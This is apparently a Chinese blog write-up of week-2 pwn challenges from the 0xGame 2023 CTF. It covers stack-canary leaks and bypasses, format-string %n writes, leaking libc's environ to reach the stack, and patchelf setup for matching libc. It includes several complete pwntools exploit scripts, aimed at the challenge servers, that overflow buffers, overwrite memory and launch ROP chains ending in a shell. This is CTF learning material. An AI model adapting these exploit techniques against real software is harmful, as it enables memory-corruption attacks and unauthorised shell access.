【2023 week2】0xgame-CTF

ezshop

没有检查下界
输入负数即可

calc

在这里插入图片描述
接受字节转换为整数为 int()
在这里插入图片描述
输入整数 发送用str(整数).encode()
在这里插入图片描述

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
f=remote("8.130.35.16",55001)
#f=process("/home/llk/桌面/exp/calc/dist/pwn")
#gdb.attach(f,"b*main")
i=1
while(i<=100):
    f.recvuntil(b"===\n")
    a=f.recvuntil(b"+")[:-1]
    b=f.recvuntil(b"=")[:-1]
    f.sendline(str(int(a)+int(b)).encode())
    i=i+1
f.interactive()

ezcanary

s[i:j] 表示获取a[i]到a[j-1]
s[:-1]去掉最后一个字符
s[:-n]去掉最后n个字符
s[-2:]取最后两个字符
s[i:j:k]这种格式呢,i,j与上面的一样,但k表示步长,默认为1
s[::-1]是从最后一个元素到第一个元素复制一遍(反向)

四种方法

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程

对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来

已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数,__stack_chk_failed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数

已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过

hex(x)
x --  10进制整数
返回16进制数,以字符串形式表示。

p32(x)
x--  一个整型数据
返回byte型。

u32(x)
x--  byte型
返回整型。

int(a,base=x)
a-- 可以是byte也可以是str型
x是a本身的的进制。
返回10进制数,整型。

在这里插入图片描述

注意 存在movaps的报错现象 当使用0x401216作为返回地址时,movaps不符合要求,此时movaps要求rsp为十六的倍数。所以使用0x401231作为返回地址,gdb调试可以发现rsp此时符合
movaps指令要求数据在内存中对齐16字节边界,以提高效率

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=remote("8.130.35.16",55000)
elf=ELF("../dist/pwn")
#s=process("../dist/pwn")
#gdb.attach(s,"b*main")
s.sendafter(b"Ur name plz?\n",b"a"*0x19) #gdb中不需要回车符也能成功输入
s.recvuntil(b"a"*0x19)
canary=b"\x00"+s.recv(7)

s.sendafter(b"right?",b"Y")
s.sendafter(b"plz.\n",flat([b"a"*0x18,canary,0,0x0000000000401231])) 
s.interactive()

fmt1

参数安装寄存器存放,大于六个时放入栈中
此时%np的第几个参数是从rdi后的参数作为第一个参数开始往后算

%k$p显示第k个参数内容

%k$n显示第把前面打印的长度写入k个参数对应位置的内容
第39个参数对应为第38个参数的位置,可利用这个写入
在这里插入图片描述

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=remote("8.130.35.16",52000)
#s=process("../dist/fmt1")
#gdb.attach(s,"b*main")
s.sendafter("content: ",b"%35p%39$hhn") 
s.interactive()                      

ALT+T命令启动文本搜索
ALT+B即可启动二进制搜索

eval() 函数用来执行一个字符串表达式,并返回表达式的值

fmt2

相关pachelf

.为什么要修改libc库
这里的libc.so.6是一个软连接,表示该程序依赖于libc.so.2.x.x版本的libc,后面的路径指向本地该版本libc的地址,ld则是链接器的地址,但由于本地使用的libc与靶机libc版本不一样,导致脚本在不同系统上运行时会造成某些地址变化,然后出错,因此需要下载一个与靶机相同的libc版本,使该程序的软链接指向适配靶机的libc版本,这样在本地调试与远程调试时才能有正确的结果。

非常感谢北理的师傅ethanyi9和南邮的师傅凉城旧梦不老坟的帮助

ldd -v pwn查看目前链接信息
寻找 对应的libc 文件
strings ./libc.so.6 | grep “GLIBC”
strings ./libc.so.6 | grep ubuntu
得到对应的C Library
随后到glibc-all-in-one中下载对应的链接器
amd64 64位
i386 32位

patchelf --set-interpreter /home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so /home/w1nd/Desktop/pwn

patchelf --replace-needed libc.so.6 /home/w1nd/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so pwn

具体ptachelf过程

python字符串前加 f 的含义
格式化 {} 内容,不在 {} 内的照常展示输出,如果你想输出 {},那就用双层 {{}} 将想输出的内容包起来。

#include <stdio.h>

int main()
{
  int val;
  printf("blah %n blah\n", &val);  //不会打印任何东西。 这个参数必须是一个有符号整数的指针,它存储它出现之前打印的所有字符数。
  printf("val = %d\n", val);
  return 0;
}

db 1个字节,
dw 2个字节
dd 4个字节

在这里插入图片描述
在这里插入图片描述
第一次printf时候
在这里插入图片描述
发现对应_libc_csu_init函数的地址-0x1280即可得到elf基地址(elf基地址不等同main函数基地址,它相当于把执行文件移到IDA后的显示的汇编代码的开始位置)

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process('../dist/fmt2')
#s=remote("192.168.3.253",52001)
#pause()
#gdb.attach(s,"b*main")
s.sendlineafter(b"content: ",b"%33$p")
elf_base=int(s.recv(14).decode(),16)-0x1280#七个字节 14位
print(hex(elf_base))
target=elf_base+0x4048
print(hex(target))
p=f"%{0xef}c%12$hhn%{0x100-0xef+0xbe}c%13$hhn%{0x100-0xbe+0xad}c%14$hhn%{0xde-0xad}c%15$hhna".encode() #编码即可发送
for i in range(4):
 p+=p64(target+i)
s.sendafter(b"content: ",p)
s.interactive()

leak-env

write(1,buf,N)与write(0,buf,N)
两者均会在终端上打印出buf的内容

这里是引用在libc中保存了一个函数叫_environ,存的是当前进程的环境变量
得到libc地址后,libc基址+_environ的偏移量=_environ的地址
在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量之和libc库有关
通过_environ的地址得到_environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量

在这里插入图片描述

putchar();输出的是字符,但不自带换行功能。
puts();自带换行功能,将结尾\0换成\n
putchar(10);实现换行原因:
putchar输出字符,因为10是整数,所以系统只能将其转换为对应的ASCII字符。
ASCII中10对应的是换行符

int main(int argc, char *argv[])
argc 是 argument count的缩写,表示传入main函数的参数个数;
argv 是 argument vector的缩写,表示传入main函数的参数,并且第一个参数argv[0]为程序名,所以确切的说需要我们输入的main函数的参数个数应该是argc-1个;

在libc中存在符号environ指向了&argv[argc + 1]的地址,这个地址保存在栈上,而environ地址可以通过libc偏移计算获得,所以如果条件允许通过泄漏environ的值获得栈地址,再通过计算并劫持栈返回地址提前布置好rop链,可以最终达到getshell的目的。
在这里插入图片描述
int()转换进制函数不能对空字符进行处理,会报错
libc中environ为environ在栈上的地址,通过environ变量地址在函数栈上,然后得出其返回地址
在这里插入图片描述
在这里插入图片描述

此时在main函数中查看栈,发现返回地址正好为0x7fffacbbf498-0x100
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
libc=ELF("../dist/libc.so.6")
f=ELF("../dist/leakenv")
s=process("./leakenv")
#s=remote("8.130.35.16",52003)
gdb.attach(s,"b main")

s.recvuntil(b"Here's your gift: ")
libc_base=int(s.recvline()[:-1],16)-libc.sym.printf
environ=libc.sym.__environ+libc_base
s.sendlineafter(b"read?",hex(environ)[2:].encode())

print(s.recvuntil(b"Here you are: "))
stack=u64(s.recv(8))

#print(hex(stack))

target=stack-0x100
s.sendlineafter(b"it?",hex(target)[2:].encode())
s.sendafter(b"it.\n",flat([0x0000000000023b63+libc_base,0,0,0,0,libc_base+0xe3afe]))
s.interactive()

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看星猩的柴狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值